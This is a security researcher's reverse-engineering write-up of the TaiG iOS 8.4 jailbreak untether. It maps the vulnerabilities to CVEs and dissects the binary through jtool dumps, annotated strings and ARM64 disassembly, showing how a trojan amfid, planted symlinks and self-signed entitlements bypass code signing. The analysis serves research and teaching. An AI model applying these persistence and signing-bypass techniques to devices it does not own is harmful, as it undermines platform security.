HIDden Treasures - TaiG 2 (Part the 2nd)

Jonathan Levin, http://newosxbook.com/ @Technologeeks - 8/25/15

Changelog

One Month Later, the state of the union

iOS 8.4.1 has been released, brining the much needed "Apple Music experience improvement" and plugging TaiG's jailbreak. The signing window for 8.4 has been sealed yesterday, and iOS is deemed jailbreakable once more - at least for the time being. With iOS 9 only three weeks or so away, let's hope nobody does anything stupid, rather than save the effort for the 6S.

The previous writeup discussed how the jailbreak program, /taig/taig, gets on the device, but stopped shy of explaining the untether. A feeble attempt to "opensource TaiG" ended up in nothing more than a paltry IDA decompilation of a fraction of the binary and a long abandoned GitHub repository. I had long promised a sequel, but was delayed by two back-to-back MOXiI courses. With those behind me, it's time for Part II - explaining the untether in depth.

By "in depth", I really mean "In depth". If you just want the gist of it, the crude navigation bar should get you to it, sparing you the excruciating via dolorosa. I heard some past complaints from good hearted souls about my previous writeup of TaiG (for 8.1.2) stopping short of explaining the kernel bug. This should convince you this *really* is a ton of work, and a heap load of assembly to follow. I had to do this research for the upcoming second edition of MOXiI, so I chose to share it anyway. And to those gentle beings I say, "where is your write-up, detailed or not?"

Tools used

I've made extensive use of my own jtool for the purposes of static analysis on Taig's binary. jtool is fast approaching its 1.0 release, and my ARM64 support is almost entirely complete (I gave up on ARM32 down the road since writing your own disassembler for both ARM and THUMB is just painful). Following my previous writeups I added a --html option to automatically produce colorized and hyperlinked output. Another important feature is that of a companion file. At some point I hope to support DWARF, but for now it's a simple textual file formatted as address:label:comments, with a few limitations (i.e. must be sorted, function labels start with a '_'). This made it easy to augment jtool's already pretty useful symbolication skills. If you want the companion file to use with it as you go along, you can find that in the downloads, below.

Static analysis, though, has its limitations, particularly in figuring out runtime derived data. So where jtool inevitably faltered, I opted to use dynamic analysis, with a debugger. The debugger of (only) choice is, of course, lldb, which can be found in the DeveloperDiskImage, and massaged to debug any binaries by re-signing debugserver with the proper entitlements.

Following along

The binary I am using for this is from TaiG's 2.4.3 tool (latest and likely last), though it should be the same for 2.3 as well. I focused on the ARM64 portion (UUID 3634B551-1F4D-356D-B8C7-EB4DA69056FD), because that's what JTool can handle. If you want the 32-bit, try your luck with the "opensource" effort.

If you choose to follow along, do so carefully. If you accidentally cause TaiG's binary to uninstall, or impact the trojan amfid chances are launchd would fail to start, leaving your device unable to start ssh and/or the required services to re-jailbreak. This would force you to restore iOS to the (presently unjailreakable) 8.4.1. Caveat Lector.

I'll be demonstrating this by reverse engineering, so you are welcome to grab the latest version of Jtool for the static analysis, plus the fully annotated companion file from right here. You can use a patched debugserver (from the DDI, self-signed with full get-task-allow and task_for_pid-allow) and start taig on the device, then connect to it through the localhost). This will look something like this:

Phontifex:~ root# debugserver  localhost:2410 /taig/taig.2.4.3 
debugserver-@(#)PROGRAM:debugserver  PROJECT:debugserver-320.2.89 for arm64.
Listening to port 2410 for a connection from localhost...

And, on your host:

Zephyr:~ morpheus$ python /usr/local/bin/tcprelay.py -t  2410:2410
Forwarding local port 2410 to remote port 2410
Incoming connection to 2410
Waiting for devices...
Connecting to device <MuxDevice: ID 560 ProdID 0x12a8 Serial 'your_device_id_will_be_here_as_a_long_hash' Location 0x14100000>
Connection established, relaying data
# And, in another session
Zephyr:~ morpheus$ lldb 
(lldb) platform select remote-ios
  Platform: remote-ios
  Connected: no
  SDK Path: "/Users/morpheus/Library/Developer/Xcode/iOS DeviceSupport/8.4 (12H143)"
  ..
(lldb) process connect connect://localhost:2410
Process 893 stopped
* thread #1: tid = 0x55322, 0x00000001200b9000 dyld`_dyld_start, stop reason = signal SIGSTOP
    frame #0: 0x00000001200b9000 dyld`_dyld_start
dyld`_dyld_start:
->  0x1200b9000 <+0>:  mov    x28, sp
    0x1200b9004 <+4>:  and    sp, x28, #0xfffffffffffffff0
    0x1200b9008 <+8>:  movz   x0, #0
    0x1200b900c <+12>: movz   x1, #0

So, where were we, again?

You might want to (re-)read the previous writeup , but in a nutshell, we have persistence thanks to two symbolic links:

Phontifex:/usr/libexec root# ls -l | grep ^l
lrwxr-xr-x  1 root  wheel        10 Jul  5 20:20 CrashHousekeeping -> /taig/taig
lrwxr-xr-x  1 root  wheel        20 Jul  5 20:20 FinishRestoreFromBackup -> /usr/libexec/amfid_d

Recall that /usr/libexec/amfid_d is the enabler for the trojan /usr/libexec/amfid. The /taig/taig binary (hereafter refered to as the "untether") is unsigned - so (the trojan) amfid will be consulted, and allow it to run, as root.

Mapping CVEs

Apple's 8.4.1 Security Updates lists over three dozen security updates, of which seven or so are attributed to TaiG, but all are very vaguely described - both in the bulletin and the corresponding CVE entries - so it makes sense to map them to the previous writeup and to this one:

  • CVE-2015-5746 "An issue existed in the symbolic linking mechanism of afc. This issue was addressed by adding additional path checks.". Funny. This is a repeat of CVE-2014-4480 (from the 8.1.3 Security Updates. Then, too, Apple fixed the issue by " adding additional path checks". Tsk Tsk. This is explained in detail in both the previous writeup and the the writeup of the original 8.1.2 Jailbreak.
  • CVE-2015-5752 "An issue existed within the path validation logic for symlinks. This issue was addressed through improved path sanitization." - Likely refers to TaiG's creation of symlinks to amfid_d and /taig/taig (from .
  • CVE-2015-3803 "An issue existed in the way multi-architecture executable files were evaluated that could have allowed unsigned code to be executed" - "multi-architecture" being the politically correct name for fat (or, in TaiG's case, obese) files. q.v. amfid of the 27 architectures in the previous writeup.
  • CVE-2015-3802, CVE-2015-3803 "A validation issue existed in the handling of Mach-O files. This was addressed by adding additional checks." That's a tad vague for me to figure out which is which, because the CVEs don't detail anything, aside from the vulnerabilities being "different" - and there's actually more than two. I'm guessing one of them refers to the Mach-O within Mach-O technique that TaiG used. Another could be the use of FAKE_TEXT (but that's been used before, so you don't know). Or it could be LC_LOAD_DYLINKER arbitrarily being used for just about any program, something I've noted that Apple could have and should have easily patched (at least on iOS) aeons ago.
  • Interestingly, no reference was made to the perennial favorite, DDI :-) Last, but hardly least, the exploit used for the kernel (detailed in this writeup):

  • CVE-2015-5774 "A buffer overflow issue existed in IOHIDFamily. This issue was addressed through improved memory handling." They mean aNOTHER issue in IOHIDFamily. You know. Like CVE-2014-4487 (previous TaiG), CVE-2014-4488, CVE-2014-4489, etc. etc. The irony is that Apple found no less than three right after 8.1.2. I don't envy the guys there doing the code review.

The untether::Structure

Inspection of the untether with jtool reveals a pretty straightforward binary:

Phontifex:/usr/libexec root# ARCH=arm64 jtool -l /taig/taig
LC 00: LC_SEGMENT_64          Mem: 0x000000000-0x100000000	__PAGEZERO
LC 01: LC_SEGMENT_64          Mem: 0x100000000-0x10001c000	__TEXT
	Mem: 0x100006ca8-0x100018b74		__TEXT.__text	(Normal)
	Mem: 0x100018b74-0x1000194ec		__TEXT.__stubs	(Symbol Stubs)
	Mem: 0x1000194ec-0x100019d20		__TEXT.__stub_helper	(Normal)
	Mem: 0x100019d20-0x10001a7b7		__TEXT.__const	
	Mem: 0x10001a7b7-0x10001b883		__TEXT.__cstring	(C-String Literals)
	Mem: 0x10001b883-0x10001bb3e		__TEXT.__objc_methname	(C-String Literals)
	Mem: 0x10001bb3e-0x10001bb57		__TEXT.__objc_classname	(C-String Literals)
	Mem: 0x10001bb57-0x10001bbc6		__TEXT.__objc_methtype	(C-String Literals)
	Mem: 0x10001bbc6-0x10001bbe2		__TEXT.__ustring	
	Mem: 0x10001bbe4-0x10001bd24		__TEXT.__gcc_except_tab	
	Mem: 0x10001bd24-0x10001bfb0		__TEXT.__unwind_info	
	Mem: 0x10001bfb0-0x10001bff8		__TEXT.__eh_frame	
LC 02: LC_SEGMENT_64          Mem: 0x10001c000-0x100020000	__DATA
	Mem: 0x10001c000-0x10001c0a8		__DATA.__got	(Non-Lazy Symbol Ptrs)
	Mem: 0x10001c0a8-0x10001c6f8		__DATA.__la_symbol_ptr	(Lazy Symbol Ptrs)
	Mem: 0x10001c6f8-0x10001c700		__DATA.__mod_init_func	(Module Init Function Ptrs)
	Mem: 0x10001c700-0x10001ca60		__DATA.__const	
	Mem: 0x10001ca60-0x10001ca68		__DATA.__objc_classlist	(Normal)
	Mem: 0x10001ca68-0x10001ca70		__DATA.__objc_catlist	(Normal)
	Mem: 0x10001ca70-0x10001ca78		__DATA.__objc_imageinfo	
	Mem: 0x10001ca78-0x10001ccf8		__DATA.__objc_const	
	Mem: 0x10001ccf8-0x10001cd90		__DATA.__objc_selrefs	(Literal Pointers)
	Mem: 0x10001cd90-0x10001cdb0		__DATA.__objc_classrefs	(Normal)
	Mem: 0x10001cdb0-0x10001ce00		__DATA.__objc_data	
	Mem: 0x10001ce00-0x10001d060		__DATA.__cfstring	
	Mem: 0x10001d060-0x10001d308		__DATA.__data	
	Mem: 0x10001d310-0x10001e350		__DATA.__bss	(Zero Fill)
LC 03: LC_SEGMENT_64          Mem: 0x100020000-0x100028000	__LINKEDIT
LC 04: LC_DYLD_INFO          
LC 05: LC_SYMTAB             
	Symbol table is at offset 0x21cf8 (138488), 227 entries
	String table is at offset 0x231cc (143820), 3832 bytes
LC 06: LC_DYSYMTAB           
	   29 local symbols at index     0
	    1 external symbols at index  29
	  197 undefined symbols at index 30
	   No TOC
	   No modtab
	  425 Indirect symbols at offset 0x22b28

LC 07: LC_LOAD_DYLINKER      	/usr/lib/dyld
LC 08: LC_UUID               	UUID: C98B61BF-B651-3AF1-B632-CA77F69F27B9
LC 09: LC_VERSION_MIN_IPHONEOS	Minimum iOS  version:    7.0.0
LC 10: LC_SOURCE_VERSION     	Source Version:          0.0.0.0.0
LC 11: LC_MAIN               	Entry Point:             0xbce8 (Mem: 10000bce8)
LC 12: LC_ENCRYPTION_INFO_64 	Encryption: 0 from offset 16384 spanning 98304 bytes
LC 13: LC_LOAD_DYLIB         	/System/Library/PrivateFrameworks/ServiceManagement.framework/ServiceManagement
LC 14: LC_LOAD_DYLIB         	/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
LC 15: LC_LOAD_DYLIB         	/System/Library/Frameworks/Foundation.framework/Foundation
LC 16: LC_LOAD_DYLIB         	/usr/lib/libobjc.A.dylib
LC 17: LC_LOAD_DYLIB         	/usr/lib/libc++.1.dylib
LC 18: LC_LOAD_DYLIB         	/usr/lib/libSystem.B.dylib
LC 19: LC_LOAD_DYLIB         	/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
LC 20: LC_RPATH              	@executable_path/Frameworks
LC 21: LC_FUNCTION_STARTS    	Offset: 137960, Size: 448 (0x21ae8-0x21ca8) with 283 functions
LC 22: LC_DATA_IN_CODE       	Offset: 138408, Size: 0 (0x21ca8-0x21ca8) 
LC 23: LC_DYLIB_CODE_SIGN_DRS	Offset: 138408, Size: 80 (0x21ca8-0x21cf8) 
LC 24: LC_CODE_SIGNATURE     	Offset: 147664, Size: 1280 (0x240d0-0x245d0

No fat malformation, no fake segments - just a standard Mach-O binary. The code signature is obviously self-signed, and exists solely for the purposes of (a) avoiding being killed (AMFI or not, unsigned binaries will be slaughtered by the kernel) and (b) get us the entitlements we need:

Phontifex:~ root# ARCH=arm64 jtool --ent  --sig /taig/taig.2.4.3 
Blob at offset: 147664 (1280 bytes) is an embedded signature
Code Directory (889 bytes)
		Version:     20001
		Flags:       none
		Identifier:  taig
		CDHash:	     cac4c8561d87ed1e4c4296a73ea1cb1aeecde1ac
		# of Hashes: 37 code + 5 special
		Hashes @149 size: 20 Type: SHA-1
Empty requirement set
Entitlements (332 bytes) 
--
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">

    <key>platform-application</key>
    <true/>
    <key>get-task-allow</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
</dict>
</plist>
--
Warning: Blob da39a3ee5e6b4b0d3255bfef95601890afd80709 Mismatches special slot 5: 3b3feeeb6676cb7bcd61e03436a8a39742feb44c
BLOB IS INVALID

Note the entitlements blob is invalid - we don't care about this, since the trojan amfid will allow anything at this point. As for entitlements, we actually only need "platform-application", which enables unsandboxed execution (lest Sandbox.kext kills us). But it's somewhat of a habit to use the full trinity.

To get an idea as to what's in the code, I often have a look at the string section. Thanks to compilers working in a very sequential, structured fashion, the order of the strings often corresponds to their references in the binary. (Note, often, not always - but you'd be surprised at how many binaries (especially Apple's) this proves really useful for. JTool's disassembly automatically resolves string references when encountered. If you're interested in the contents of the strings themselves, they are shown here:

root@Phontifex (/)# ARCH=arm64 jtool -d __TEXT.__cstring /taig/taig | more
Dumping C-Strings from address 0x10001a7b7 (Segment: __TEXT.__cstring)
# Kernel Patches
0x10001a7b7: Enforce MAC policy on process operations
0x10001a7e0: Enforce MAC policy on vnode operations
0x10001a807: no code signature
0x10001a819: control_name
0x10001a826: BBBBBBBBGGGGGGGGRRRRRRRR
0x10001a83f: .HFS+ Private Directory Data\n
# Misc
0x10001a85d: IOService
0x10001a867: __TEXT
0x10001a86e: Disabled
0x10001a877: CachedDefaults
0x10001a886: /taig/taig
0x10001a891: Label
0x10001a897: RunAtLoad
# Used to remount / rw
0x10001a8a1: /
0x10001a8a3: /dev/disk0s1s1
0x10001a8b2: hfs
# Used to mount LockDown Patch DMG
0x10001a8b6: /DeveloperPatch
0x10001a8c6: /var/run
0x10001a8cf: /var/run/lockdown_patch
0x10001a8e7: /var/run/lockdown_patch/%s
0x10001a902: /var/run/lockdown_patch/%s/%s
0x10001a920: /var/run/lockdown_patch/%s/%s/lockdown_patch.dmg
0x10001a951: /taig/lockdown_patch.dmg
0x10001a96a: IOHDIXController
0x10001a97b: hdik-unique-identifier
0x10001a992: image-path
0x10001a99d: IOMedia
0x10001a9a5: IOServiceMatched
0x10001a9b6: BSD Name
0x10001a9bf: /dev/%s
0x10001a9c7: .
0x10001a9c9: ..
# Used to install/setup
0x10001a9cc: /var/mobile/Media/install
0x10001a9e6: /var/mobile/Media/install/libmis.dylib
0x10001aa0d: /usr/lib/libmis.dylib
0x10001aa23: /var/mobile/Media/install/xpcd_cache.dylib
0x10001aa4e: /usr/lib/xpcd_cache.dylib
0x10001aa68: /usr/libexec/amfid_d
0x10001aa7d: /usr/libexec/amfid
0x10001aa90: /System/Library/PrivateFrameworks/MobileSoftwareUpdate.framework/Support/softwareupdated
0x10001aae9: /usr/libexec/amfid_l
0x10001aafe: /usr/libexec/FinishRestoreFromBackup
0x10001ab23: /usr/libexec/CrashHousekeeping
0x10001ab42: /taig
0x10001ab48: /var/mobile/Media/install/file_c
0x10001ab69: /var/mobile/Media/install/file_l
0x10001ab8a: /var/mobile/Media/install/file_a
0x10001abab: /System/Library/LaunchDaemons/com.apple.softwareupdateservicesd.plist
0x10001abf1: /System/Library/LaunchDaemons/com.apple.softwareupdateservicesd.plist__
0x10001ac39: /Library/LaunchDaemons
0x10001ac50: /System/Library/LaunchDaemons
0x10001ac6e: /var/backup
0x10001ac7a: /var/lib/dpkg/info/com.saurik.patcyh.extrainst_
0x10001acaa: install
0x10001acb2: /System/Library/Caches/com.apple.dyld/enable-dylibs-to-override-cache
0x10001acf8: /etc/fstab
0x10001ad03: ,nosuid,nodev
0x10001ad11: /var/mobile/Media/install/tag_error
0x10001ad35: /var/mobile/Media/install/tag_success
0x10001ad5b: /var/mobile/Library/Preferences/com.apple.springboard.plist
0x10001ad97: SBShowNonDefaultSystemApps
0x10001adb2: /usr/bin/uicache
0x10001adc3: (len not supplied)
# MobileGestalt Support
0x10001adc4: /usr/lib/libMobileGestalt.dylib
0x10001ade4: MGCopyAnswer
0x10001adf1: UniqueDeviceID
0x10001ae00: .plist
# Manipulated plists
0x10001ae07: com.apple.MobileFileIntegrity.plist
0x10001ae2b: com.apple.CrashHousekeeping.plist
0x10001ae4d: com.apple.mobile.softwareupdated.plist
0x10001ae74: bootps.plist
# Base64, etc encoding
0x10001ae81: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_
0x10001aec2: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
# Command line arguments
0x10001af03: -u
0x10001af06: -s
0x10001af09: -l

0x10001af0c: IOWatchDogTimer # Watchdog timer
0x10001af1c: %s 
0x10001af1f: rgca/[204';b/[]/?  # The so called obfuscation "key"
# TaiG debug print
0x10001af31: s %d
0x10001af36: alloc %d
0x10001af3f: %p %p %p %p

0x10001af4b: kalloc.%d   Used to get zprint information
# Run stuff in /etc/rc.d (not really necessary)
0x10001af55: /etc/rc.d  
0x10001af5f: /etc/rc.d/%s
# The original copies of the trojan symlinks
0x10001af6c: /usr/libexec/FinishRestoreFromBackup_0
0x10001af93: /usr/libexec/CrashHousekeeping_0
# Manipulating launchd to start/stop launchDaemons
0x10001afb4: /bin/launchctl
0x10001afc3: load
0x10001afc8: /System/Library/NanoLaunchDaemons
0x10001afea: unload
0x10001aff1: /Library/NanoLaunchDaemons
0x10001b00c: OnDemand
0x10001b015: KeepAlive
0x10001b01f: ListPath
0x10001b028: CFBundleIdentifier
# Used in parsing OSKextGetLoadedInfo output
0x10001b03b: OSBundleLoadAddress
0x10001b04f: OSBundleLoadSize
0x10001b060: __LAST
0x10001b067: __PRELINK_STATE
0x10001b077: __PRELINK_INFO
0x10001b086: __PRELINK_TEXT
# LibTAR stuff starts here..
0x10001b095: <dict><key>Kext Request Predicate</key><string>Get Loaded Kext Info</string></dict>
0x10001b0e9: <key>OSBundleMachOHeaders</key><data ID="2">
0x10001b116: </data>
0x10001b11e: ==> th_read_internal(TAR="%s")\r
0x10001b13e: kycps
0x10001b144: !!! unknown magic value in tar header
0x10001b16a: 00
0x10001b16d: !!! unknown version value in tar header
0x10001b195: !!! tar header checksum error
0x10001b1b3: <== th_read_internal(): returning %d\r
0x10001b1d9: ==> th_read(t=0x%lx)\r
0x10001b1ef:     th_read(): GNU long linkname detected (%ld bytes, %d blocks)\r
0x10001b231:     th_read(): reading long linkname (%d blocks left, ptr == %ld)\r
0x10001b274:     th_read(): read block == "%s"\r
0x10001b297:     th_read(): t->th_buf.gnu_longlink == "%s"\r
0x10001b2c6:     th_read(): GNU long filename detected (%ld bytes, %d blocks)\r
0x10001b308:     th_read(): reading long filename (%d blocks left, ptr == %ld)\r
0x10001b34b:     th_read(): t->th_buf.gnu_longname == "%s"\r
0x10001b37a: tar_extract_file(): calling libtar_hash_add(): key="%s", value="%s"\r
0x10001b3bf: ==> tar_extract_regfile(t=0x%lx, realname="%s")\r
0x10001b3f0:   ==> extracting: %s (mode %04o, uid %d, gid %d, %d bytes)\r
0x10001b42c: ### done extracting %s\r
0x10001b444:   ==> extracting: %s (link to %s)\r
0x10001b467: link()
0x10001b46e:   ==> extracting: %s (symlink to %s)\r
0x10001b494: symlink()
0x10001b49e:   ==> extracting: %s (character device %ld,%ld)\r
0x10001b4cf: mknod()
0x10001b4d7:   ==> extracting: %s (block device %ld,%ld)\r
0x10001b504:   ==> extracting: %s (mode %04o, directory)\r
0x10001b531: chmod()
0x10001b539:   *** using existing directory
0x10001b558: mkdir()
0x10001b560:   ==> extracting: %s (fifo)\r
0x10001b57d: mkfifo()
0x10001b586: lchown("%s", %d, %d): %s\r
0x10001b5a0: utime()
0x10001b5a8: %d
0x10001b5ab: %.10s %-8.8s %-8.8s 
0x10001b5c0:  %3d, %3d 
0x10001b5cb: %9ld 
0x10001b5d1: %h %e %H:%M %Y
0x10001b5e0:  %s
0x10001b5e4:  -> 
0x10001b5e9:  link to 
0x10001b5f3: %.155s/%.100s
0x10001b601: %.100s
0x10001b608: %s/%s
0x10001b60e: ==> tar_extract_all(TAR *t, "%s")\r
0x10001b631: (null)
0x10001b638:     tar_extract_all(): calling th_get_pathname()
0x10001b669:     tar_extract_all(): calling tar_extract_file(t, "%s")\r
0x10001b6a3: open()
0x10001b6aa: %o
# ky Compress - a proprietary compression used to save space in tars
0x10001b6ad: Decompress 
0x10001b6b8: /Users/ky/Desktop/projects/KYCompress_WORK/libkycompress/libkycompress/Lz77.cpp
0x10001b708: i + j < srclen
0x10001b717: off + j < _MAX_WINDOW_SIZE
0x10001b732: _GetSameLen
0x10001b73e: nSeekStart + i <= srclen && offset + i <= nWndSize
0x10001b771: 1111
0x10001b776: Write
0x10001b77c: /Users/ky/Desktop/projects/KYCompress_WORK/libkycompress/libkycompress/kylz.cpp
0x10001b7cc: mpCycleBuffer->isEmpty()
0x10001b7e5: wb
0x10001b7e8: rb
0x10001b7eb: /Users/ky/Desktop/projects/KYCompress_WORK/libkycompress/libkycompress/CCycleBuffer.cpp
0x10001b843: m_nReadPos <= m_nBufSize
0x10001b85c: m_nWritePos <= m_nBufSize
0x10001b876: m_bFull
0x10001b87e: Read
(TEXT.__ustring is uninteresting and contains the TaiG "copyright" message)

So, the untether includes:

What's missing are any strings involved in the actual exploit (though that kalloc.%d is a hint), but you can see the key used to unobfuscate them (rgca/[204';b/[]/). We'll get to that later.

The Untether::Flow

The structure of the entry point function is pretty simple, and resembles the previous untether, to the point of obviously reusing a lot of code. Rather than walk through each step of reversing, I'll present the fully reversed code, as generated by jtool with the help of a companion file and the --html output switch:

The following outputs are verbatim from jtool automated output. As such, they contain hyperlinks which may or may not work here. If you take the companion file, dump it in the same dir as the taig binary (or another, specifying --jtooldir and run jtool --html on it, you will get a fully hyperlinked html file you can quickly navigate it. jtool is far from perfect - some cases it can't get variables right (I don't support args yet). It sure trumps otool, but it ain't IDA.. It's my pet project, though, and undergoing continuous improvements. Any feedback/bug reports are welcome!

Opened companion File: /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD
Disassembling from file offset 0xbc24, Address 0x10000bc24  to next function with opcodes
_start:
   10000bc24    a9ba6ffc        STP    X28, X27, [SP,#-96]!
   10000bc28    a90167fa        STP    X26, X25, [SP,#16]
   10000bc2c    a9025ff8        STP    X24, X23, [SP,#32]
   10000bc30    a90357f6        STP    X22, X21, [SP,#48]
   10000bc34    a9044ff4        STP    X20, X19, [SP,#64]
   10000bc38    a9057bfd        STP    X29, X30, [SP,#80]
   10000bc3c    910143fd        ADD    X29, SP, #80;        ; R29 = SP + 0x50
  e10000bc40    d10d43ff        SUB    X31, X31, #848
   10000bc44    aa0103f3        MOV    X19, X1
   10000bc48    aa0003f4        MOV    X20, X0
   10000bc4c    94000815        BL     _returns_global ; ; 0x10000dca0
   10000bc50    f900dbe0        STR    X0, [SP, #432];      ; *(SP + 0x1b0) = X0 0x0
   10000bc54    52804b00        MOVZ   W0, #600;    ; ->R0 = 0x258 
   10000bc58    9400007e        BL     _disable_watchdog_timer     ; ; 0x10000be50
// 
// These don't actually work, likely reused from TaiG 8.1.2 (they will work, however, but not till later)
//
   10000bc5c    94000f62        BL     _get_kernel_base   ; ; 0x10000f9e4
   10000bc60    94000f69        BL     _get_kernel_last   ; ; 0x10000fa04
//
// check if we started with no arguments, and skip following loop if we did //
10000bc64 71000a9f CMP W20, #2 10000bc68 540004eb B.LT no_args ; ; 0x10000bd04 // // Enter argv loop: check for "-s" "-u" or "-l" as valid arguments // At the end of this, w24 is set to 0: No arguments 1: -u 2: -s 3: -l // 10000bc6c 52800018 MOVZ W24, #0; ; ->R24 = 0x0 10000bc70 52800019 MOVZ W25, #0; ; ->R25 = 0x0 10000bc74 9100227a ADD X26, X19, #8; ; ..R26 = R19 (0x0) + 0x8 = 0x8 10000bc78 f9000bf3 STR X19, [SP, #16]; ; *(SP + 0x10) = X19 0x0 10000bc7c 5100069b SUB W27, W20, #1 10000bc80 320003fc ORR W28, WZR, #0x1; ; ->R28 = 0x1 10000bc84 50079415 ADR x21, 62082; ; ->R21 = 0x10001af06 "-s" 10000bc88 d503201f NOP 10000bc8c 321f03f3 ORR W19, WZR, #0x2; ; ->R19 = 0x2 10000bc90 320007f4 ORR W20, WZR, #0x3; ; ->R20 = 0x3 10000bc94 300793b6 ADR x22, 62069; ; ->R22 = 0x10001af09 "-l" 10000bc98 d503201f NOP argv_loop: 10000bc9c f8408757 -LDR X23, [X26], #8; ; R23 = *(R26(0x8) + 0x8) = *(0x10) => 0x100000cfeedfacf 10000bca0 aa1703e0 MOV X0, X23 10000bca4 700792e1 ADR x1, 62047; ; ->R1 = 0x10001af03 "-u" 10000bca8 d503201f NOP 10000bcac 94003571 BL libSystem.B.dylib::_strcmp ; ; 0x100019270 ; R0 = libSystem.B.dylib::_strcmp("\0xc","-u"); ; 10000bcb0 7100001f CMP W0, #0 10000bcb4 1a990399 CSEL W25, W28, W25, EQ 10000bcb8 1a980398 CSEL W24, W28, W24, EQ 10000bcbc aa1703e0 MOV X0, X23 10000bcc0 aa1503e1 MOV X1, X21 10000bcc4 9400356b BL libSystem.B.dylib::_strcmp ; ; 0x100019270 ; R0 = libSystem.B.dylib::_strcmp("\0xc","-s"); ; 10000bcc8 7100001f CMP W0, #0 10000bccc 1a980278 CSEL W24, W19, W24, EQ 10000bcd0 aa1703e0 MOV X0, X23 10000bcd4 aa1603e1 MOV X1, X22 10000bcd8 94003566 BL libSystem.B.dylib::_strcmp ; ; 0x100019270 ; R0 = libSystem.B.dylib::_strcmp("\0xc","-l"); ; 10000bcdc 7100001f CMP W0, #0 10000bce0 1a980298 CSEL W24, W20, W24, EQ 10000bce4 5100077b SUB W27, W27, #1 10000bce8 35fffdbb CBNZ X27, argv_loop ; ; 0x10000bc9c 10000bcec 71000b1f CMP W24, #2 10000bcf0 54000061 B.NE 0x10000bcfc ; 0x10000bcfc // // This is only called if w24 is 2 (i.e. "-s"). // I'm totally ignoring the handling of files in vmmI - to make a long story short, // this calls MobileGestalt to get the UDID, and looks for a file there of the same name, // then cydiaandtaigbase.tar and a bunch of other tars, for which it needs LibTar, and // the custom compression ky library. 10000bcf4 97fffb7f BL _handle_var_mobile_media_Install ; ; 0x10000aaf0 10000bcf8 321f03f8 ORR W24, WZR, #0x2; ; ->R24 = 0x2 10000bcfc f9400bf3 LDR X19, [X31, #16]; R19 = *(SP + 0x10)? 10000bd00 14000003 B 0x10000bd0c ; 0x10000bd0c no_args: 10000bd04 52800019 MOVZ W25, #0; ; ->R25 = 0x0 10000bd08 52800018 MOVZ W24, #0; ; ->R24 = 0x0 10000bd0c b9001fff STR WZR, [SP, #28]; ; *(SP + 0x1c) = X31 0x0 10000bd10 d503201f NOP 10000bd14 58081ba8 LDR X8, #16605; ; R8 = *0x10001c088libSystem.B.dylib::_mach_task_self_ 10000bd18 b9400100 LDR W0, [X8, #0]; ; R0 = *(R8(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000bd1c 52800001 MOVZ W1, #0; ; ->R1 = 0x0 10000bd20 910073e2 ADD X2, SP, #28; ; R2 = SP + 0x1c 10000bd24 94003577 BL libSystem.B.dylib::_task_for_pid ; ; 0x100019300 ; R0 = libSystem.B.dylib::_task_for_pid((mach port),0,(mach port)); ; 10000bd28 910083e8 ADD X8, SP, #32; ; R8 = SP + 0x20 10000bd2c 91014101 ADD X1, X8, #80; ; ..R1 = R8 (0x20) + 0x50 = 0x70 10000bd30 9106e3f4 ADD X20, SP, #440; ; R20 = SP + 0x1b8 10000bd34 91014280 ADD X0, X20, #80; ; ..R0 = R20 (0x1b8) + 0x50 = 0x208 10000bd38 d2802902 MOVZ X2, #328; ; ->R2 = 0x148 10000bd3c 940034f0 BL libSystem.B.dylib::_memcpy ; ; 0x1000190fc 10000bd40 aa1403e0 MOV X0, X20 10000bd44 94000754 BL _deobfuscate_strings(110) ; ; 0x10000da94 //
// After calling task_for_pid, if we actually got a port, that means we're patched, and so we can skip all the following... //
10000bd48 b9401fe8 LDR W8, [X31, #28]; R8 = *(SP + 0x1c)? 10000bd4c 350003a8 CBNZ X8, task_for_pid_already_patched ; ; 0x10000bdc0 10000bd50 35000078 CBNZ X24, 0x10000bd5c ; 0x10000bd5c 10000bd54 52800000 MOVZ W0, #0; ; ->R0 = 0x0 10000bd58 94000d15 BL _runs_launchctl_unload ; ; 0x10000f1ac 10000bd5c 321f0328 ORR W8, W25, #0x2 10000bd60 7100071f CMP W24, #1 10000bd64 1a990101 CSEL W1, W8, W25, EQ 10000bd68 910083f4 ADD X20, SP, #32; ; R20 = SP + 0x20 10000bd6c aa1403e0 MOV X0, X20 10000bd70 94000382 BL _leads_to_exploit(86) ; ; 0x10000cb78 10000bd74 7100001f CMP W0, #0 10000bd78 540000ab B.LT 0x10000bd8c ; 0x10000bd8c 10000bd7c 91028280 ADD X0, X20, #160; ; ..R0 = R20 (0x20) + 0xa0 = 0xc0 10000bd80 34000138 CBZ X24, 0x10000bda4 ; 0x10000bda4 10000bd84 320003e1 ORR W1, WZR, #0x1; ; ->R1 = 0x1 10000bd88 14000008 B 0x10000bda8 ; 0x10000bda8 10000bd8c 7100071f CMP W24, #1 10000bd90 54000068 B.HI no_reboot ; ; 0x10000bd9c 10000bd94 52800000 MOVZ W0, #0; ; ->R0 = 0x0 10000bd98 94003518 BL libSystem.B.dylib::_reboot ; ; 0x1000191f8 no_reboot: 10000bd9c 12800000 MOVN X0, #0; ; ->R0 = 0xffffffffffffffff 10000bda0 14000024 B exit ; ; 0x10000be30 10000bda4 321e03e1 ORR W1, WZR, #0x4; ; ->R1 = 0x4 10000bda8 94000169 BL _func_84 ; ; 0x10000c34c 10000bdac 910083f4 ADD X20, SP, #32; ; R20 = SP + 0x20 10000bdb0 aa1403e0 MOV X0, X20 10000bdb4 940001f1 BL _likely_kernel_patch(85) ; ; 0x10000c578 10000bdb8 aa1403e0 MOV X0, X20 10000bdbc 9400037b BL _falls_through_to_closes_IOService_handles ; ; 0x10000cba8 task_for_pid_already_patched: //
// We get here if we're already jailbroken - either previously, or thanks to a succesful exploit. From here, it's all downhill //
10000bdc0 52804c40 MOVZ W0, #610; ; ->R0 = 0x262 10000bdc4 94000023 BL _disable_watchdog_timer ; ; 0x10000be50 //
